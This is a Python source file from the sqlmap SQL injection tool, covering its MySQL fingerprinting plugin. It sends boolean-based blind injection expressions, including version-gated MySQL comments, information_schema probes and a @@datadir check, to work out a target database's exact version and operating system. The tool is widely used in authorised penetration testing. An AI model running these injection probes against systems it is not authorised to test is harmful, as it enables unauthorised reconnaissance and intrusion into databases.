#!/usr/bin/env python

"""
$Id$

Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""

import re

from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import PLACE
from lib.core.session import setDbms
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.request import inject
from lib.request.connect import Connect as Request

from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

class Fingerprint(GenericFingerprint):
    def __init__(self):
        GenericFingerprint.__init__(self, DBMS.MYSQL)

    def __commentCheck(self):
        infoMsg = "executing MySQL comment injection fingerprint"
        logger.info(infoMsg)

        randInt = randomInt()
        result = inject.checkBooleanExpression("%d=%d/* NoValue */" % (randInt, randInt))

        if not result:
            warnMsg = "unable to perform MySQL comment injection"
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated on 01/2010
        versions = (
                     (32200, 32235),    # MySQL 3.22
                     (32300, 32359),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40131),    # MySQL 4.1
                     (50000, 50092),    # MySQL 5.0
                     (50100, 50154),    # MySQL 5.1
                     (50400, 50404),    # MySQL 5.4
                     (50500, 50509),    # MySQL 5.5
                     (60000, 60014),    # MySQL 6.0
                   )

        index = -1
        for i in xrange(len(versions)):
            element = versions[i]
            version = element[0]
            randInt = randomInt()
            version = getUnicode(version)
            result = inject.checkBooleanExpression("%d=%d/*!%s AND %d=%d*/" % (randInt, randInt, version, randInt, randInt + 1))

            if result:
                break
            else:
                index += 1

        if index >= 0:
            prevVer = None

            for version in range(versions[index][0], versions[index][1] + 1):
                randInt = randomInt()
                version = getUnicode(version)
                result = inject.checkBooleanExpression("%d=%d/*!%s AND %d=%d*/" % (randInt, randInt, version, randInt, randInt + 1))

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None

    def getFingerprint(self):
        value  = ""
        wsOsFp = formatFingerprint("web server", kb.headersFp)

        if wsOsFp:
            value += "%s\n" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)

            if dbmsOsFp:
                value += "%s\n" % dbmsOsFp

        value  += "back-end DBMS: "
        actVer  = formatDBMSfp()

        if not conf.extensiveFp:
            value += actVer
            return value

        comVer = self.__commentCheck()
        blank  = " " * 15
        value += "active fingerprint: %s" % actVer

        if comVer:
            comVer = formatDBMSfp([comVer])
            value += "\n%scomment injection fingerprint: %s" % (blank, comVer)

        if kb.bannerFp:
            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None

            if re.search("-log$", kb.data.banner):
                banVer += ", logging enabled"

            banVer = formatDBMSfp([banVer])
            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

        htmlErrorFp = getErrorParsedDBMSesFormatted()

        if htmlErrorFp:
            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)

        return value

    def checkDbms(self):
        """
        References for fingerprint:

        * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
        * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
        * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
        * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
        * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
        """

        if ((getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in MYSQL_ALIASES) \
           or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \
           kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION:
            kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "")
            kb.dbmsVersion[0] = kb.dbmsVersion[0].replace("=", "")
            kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(" ", "")

            setDbms("%s %s" % (DBMS.MYSQL, kb.dbmsVersion[0]))

            if str(kb.dbmsVersion[0]) >= '5':
                kb.data.has_information_schema = True

            self.getBanner()

            if not conf.extensiveFp:
                return True

        infoMsg = "testing MySQL"
        logger.info(infoMsg)

        randInt = getUnicode(randomInt(1))
        result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()")

        if result:
            infoMsg = "confirming MySQL"
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("USER()=USER()")

            if not result:
                warnMsg = "the back-end DBMS is not MySQL"
                logger.warn(warnMsg)

                return False

            # Determine if it is MySQL >= 5.0.0
            #if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.TABLES LIMIT 0, 1)" % (randInt, randInt)):
            if inject.checkBooleanExpression("EXISTS(SELECT %s FROM information_schema.TABLES)" % randInt):
                kb.data.has_information_schema = True
                kb.dbmsVersion = [">= 5.0.0"]
                setDbms("%s 5" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                # Check if it is MySQL >= 5.5.0
                if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
                    kb.dbmsVersion = [">= 5.5.0"]

                # Check if it is MySQL >= 5.1.2 and < 5.5.0
                elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):
                    if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)):
                        kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
                    elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)):
                        kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
                    elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)):
                        kb.dbmsVersion = ["= 5.1.6"]
                    elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)):
                        kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
                    else:
                        kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]

                # Check if it is MySQL >= 5.0.0 and < 5.1.2
                elif inject.checkBooleanExpression("@@hostname=@@hostname"):
                    kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
                elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"):
                    kb.dbmsVersion = [">= 5.0.19", "< 5.0.38"]
                elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE %s!=%s)" % (randInt, randInt, randInt, randInt)):
                    kb.dbmsVersion = [">= 5.0.11", "< 5.0.19"]
                elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"):
                    kb.dbmsVersion = [">= 5.0.6", "< 5.0.11"]
                elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
                    kb.dbmsVersion = [">= 5.0.3", "< 5.0.6"]
                else:
                    kb.dbmsVersion = [">= 5.0.0", "< 5.0.3"]

            # For cases when information_schema is missing
            elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
                kb.dbmsVersion = [">= 5.0.2"]
                setDbms("%s 5" % DBMS.MYSQL)
                self.getBanner()

            elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"):
                kb.dbmsVersion = ["< 5.0.0"]
                setDbms("%s 4" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                # Check which version of MySQL < 5.0.0 it is
                if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"):
                    kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
                elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"):
                    kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
                elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"):
                    kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]

                    if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
                        kb.dbmsVersion = ["= 4.1.0"]
                    else:
                        kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
                else:
                    kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
            else:
                kb.dbmsVersion = ["< 4.0.0"]
                setDbms("%s 3" % DBMS.MYSQL)
                self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not MySQL"
            logger.warn(warnMsg)

            return False

    def checkDbmsOs(self, detailed=False):
        if kb.os:
            return

        infoMsg = "fingerprinting the back-end DBMS operating system"
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("'/'=(SELECT MID(@@datadir, 1, 1))")
        if result is True:
            kb.os = "Linux"
        elif result is False:
            kb.os = "Windows"

        infoMsg = "the back-end DBMS operating system is %s" % (kb.os or "Unknown")
        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)